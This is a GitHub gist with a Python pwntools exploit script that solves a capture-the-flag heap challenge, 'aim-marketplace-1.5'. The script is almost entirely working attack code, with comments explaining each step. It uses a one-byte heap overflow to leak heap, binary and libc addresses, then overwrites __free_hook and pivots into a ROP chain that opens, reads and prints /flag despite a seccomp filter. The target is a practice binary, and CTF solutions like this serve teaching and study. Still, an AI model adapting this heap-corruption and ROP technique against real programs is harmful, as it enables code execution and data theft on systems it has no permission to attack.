Created
June 8, 2021 20:59
-
-
Save one2blame/c06dee3e962a168afc33afeacc6818f7 to your computer and use it in GitHub Desktop.
aim-marketplace-1.5
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
Run locally with: | |
./solve.py | |
Run against remote with: | |
./solve.py REMOTE HOST=x.x.x.x PORT=xxxxx | |
""" | |
""" | |
seccomp-tools dump ./aim-marketplace-1.5 | |
line CODE JT JF K | |
================================= | |
0000: 0x20 0x00 0x00 0x00000004 A = arch | |
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 | |
0002: 0x20 0x00 0x00 0x00000000 A = sys_number | |
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 | |
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011 | |
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010 | |
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010 | |
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010 | |
0008: 0x15 0x01 0x00 0x00000009 if (A == mmap) goto 0010 | |
0009: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0011 | |
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW | |
0011: 0x06 0x00 0x00 0x00000000 return KILL | |
""" | |
from pwn import * | |
splash() | |
BINARY = "./aim-marketplace-1.5.patched" | |
LIBC = "./libc-2.31.so" | |
LD = "./ld-2.31.so" | |
FLAG_NAME = "/flag" | |
elf = context.binary = ELF(BINARY) | |
libc = ELF(LIBC, checksec=False) | |
ld = ELF(LD, checksec=False) | |
context.terminal = ["tmux", "splitw", "-v"] | |
if args.REMOTE: | |
io = remote(args.HOST, args.PORT) | |
elif args.STRACE: | |
io = process(["strace", "-o", "strace.txt", BINARY]) | |
else: | |
io = process([LD, BINARY], env={"LD_PRELOAD": libc.path}) | |
if args.GDB: | |
gdb.attach( | |
io, | |
f""" | |
file {BINARY} | |
continue | |
""", | |
) | |
class Const: | |
max_num_people = 0x20 | |
max_num_assignments = 0x20 | |
max_resume_len = 0x100 | |
class Offsets: | |
elf_leak_offset = 0x2030 | |
initial = 0x1eb000 | |
class Gadgets: | |
call_gadget = 0x154930 | |
setcontext_gadget = 0x580DD | |
pop_rax = 0x4A550 | |
syscall = 0x66229 | |
xchg_eax_edi = 0x2ad2b | |
pop_rsi = 0x27529 | |
pop_rdx_pop_r12 = 0x11c371 | |
pop_rdi = 0x26b72 | |
def send(data, newline=False): | |
if newline: | |
io.sendlineafter("> ", data) | |
else: | |
io.sendafter("> ", data) | |
def send_num(num): | |
send(str(num), newline=True) | |
menu = send_num | |
def create_assignment(description, sz=None): | |
menu(1) | |
if sz is None: | |
sz = len(description) | |
send_num(sz) | |
if description: | |
send(description) | |
def edit_assignment(idx, data): | |
menu(2) | |
send_num(idx) | |
send(data) | |
def print_assignment(idx): | |
menu(3) | |
send_num(idx) | |
def delete_assignment(idx): | |
menu(4) | |
send_num(idx) | |
def create_person(resume, assignment_preference_idx, resume_sz=None): | |
menu(5) | |
if resume_sz is None: | |
resume_sz = len(resume) | |
send_num(resume_sz) | |
send(resume) | |
send_num(assignment_preference_idx) | |
def edit_resume(idx, offset, data, sz=None): | |
if sz is None: | |
sz = len(data) | |
menu(6) | |
send_num(idx) | |
send_num(offset) | |
send_num(sz) | |
send(data) | |
def print_person(idx): | |
menu(7) | |
send_num(idx) | |
def delete_person(idx): | |
menu(8) | |
send_num(idx) | |
# input("PAUSE...") | |
# Store page of garbage data on the heap, making space for future ROP chain. | |
create_assignment(cyclic(0x1000, n=8)) | |
# Create a person and completely fill out the resume with cyclic bytes. | |
create_person(cyclic(Const.max_resume_len, n=8), 0) | |
# Leverage one byte heap buffer overflow to modify resume_len in person struct. | |
edit_resume(0, 255, b"\xff\xff") | |
# Leverage corrupted resume_len to remove \x00 btyes from resume_len. | |
edit_resume(0, 255, cyclic(0x9, n=8)) | |
# Call `puts()` on resume, causing puts() to print assignment member in person struct. | |
print_person(0) | |
# Remove garbage and grab heap pointer of assignment member in person struct. | |
heap_leak = u64(io.recvuntil("\n")[272:-1].ljust(8, b"\x00")) | |
print(f"heap @: {hex(heap_leak)}") | |
# Groom heap in order to get two assignment structures adjacent to compromised resume. | |
for i in range(14): | |
create_assignment("") | |
# Corrupt succeeding heap chunk containing an assignment struct, | |
# overwriting the char * member to point to an adjacent assigment struct. | |
target_heap_chunk = heap_leak - 0x720 | |
edit_resume(0, 255 + 0x21, p64(target_heap_chunk)) | |
# Print the victim assignment struct, leaking the data contained at the adjacent | |
# assignment struct's heap chunk. | |
print_assignment(13) | |
io.recvuntil("\n") | |
# The adjacent assignment struct is using a default message, stored globally as a | |
# const char *, thus its string pointer is contained in the program's .rodata | |
# section. | |
elf_leak = u64(io.recvuntil("\n")[:-1].ljust(8, b"\x00")) | |
elf.address = elf_leak - Offsets.elf_leak_offset | |
print(f"elf @: {hex(elf.address)}") | |
# We corrupt the succeeding heap chunk again to point to the Global Offset | |
# Table (GOT). | |
edit_resume(0, 255 + 0x21, p64(elf.got.puts)) | |
# We print the victim assignment struct that now points to the GOT, leaking | |
# the address of `puts()` in libc. | |
print_assignment(13) | |
io.recvuntil("\n") | |
puts_leak = u64(io.recvuntil("\n")[:-1].ljust(8, b"\x00")) | |
libc.address = puts_leak - libc.sym.puts | |
print(f"libc @: {hex(libc.address)}") | |
# We corrupt the victim assignment struct a final time, pointing its char * member | |
# to the `__free_hook` in libc. | |
payload = [libc.sym.__free_hook, 0x8] | |
edit_resume(0, 255 + 0x21, flat(payload)) | |
# We edit the victim assignment's char * member, which now points to the | |
# `__free_hook`, overwriting it with the address of our call_gadget to conduct | |
# a heap pivot. | |
edit_assignment(13, p64(libc.address + Gadgets.call_gadget)) | |
# The following payload will be used by the call_gadget to pivot into the | |
# rest of the ROP chain within this payload. This ROP chain will execute code | |
# within setcontext() to setup RSP and other registers for the follow-on | |
# open-read-write ROP chain. | |
payload_base = heap_leak + 0x2D0 | |
payload = [ | |
cyclic(cyclic_find(0x6161616161616162, n=8), n=8), | |
payload_base, | |
cyclic(cyclic_find(0x6161616161616163, n=8), n=8), | |
libc.address + Gadgets.setcontext_gadget, | |
0, | |
0, | |
0xDEADBEEFCAFEBABE, | |
0x1337CAFEBEEFBABE, | |
0, | |
0, | |
0, | |
0, | |
payload_base + 0x158, | |
0, | |
0, | |
0, | |
0, | |
0xCAFEBEEFBABEDEAD, | |
0, | |
payload_base + 0xB0, | |
libc.address + Gadgets.pop_rax, | |
2, | |
libc.address + Gadgets.syscall, | |
libc.address + Gadgets.xchg_eax_edi, | |
libc.address + Gadgets.pop_rsi, | |
libc.address + Offsets.initial, | |
libc.address + Gadgets.pop_rdx_pop_r12, | |
0x1000, | |
0, | |
libc.address + Gadgets.pop_rax, | |
0, | |
libc.address + Gadgets.syscall, | |
libc.address + Gadgets.pop_rdi, | |
1, | |
libc.address + Gadgets.pop_rsi, | |
libc.address + Offsets.initial, | |
libc.address + Gadgets.pop_rdx_pop_r12, | |
0x1000, | |
0, | |
libc.address + Gadgets.pop_rax, | |
1, | |
libc.address + Gadgets.syscall, | |
FLAG_NAME, | |
0, | |
] | |
# Edit assignment 0 to upload the heap pivot into open-read-write ROP chain. | |
edit_assignment(0, flat(payload)) | |
# free() assignment 0, causing the program to execute call_gadget(rdi) | |
delete_assignment(0) | |
io.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment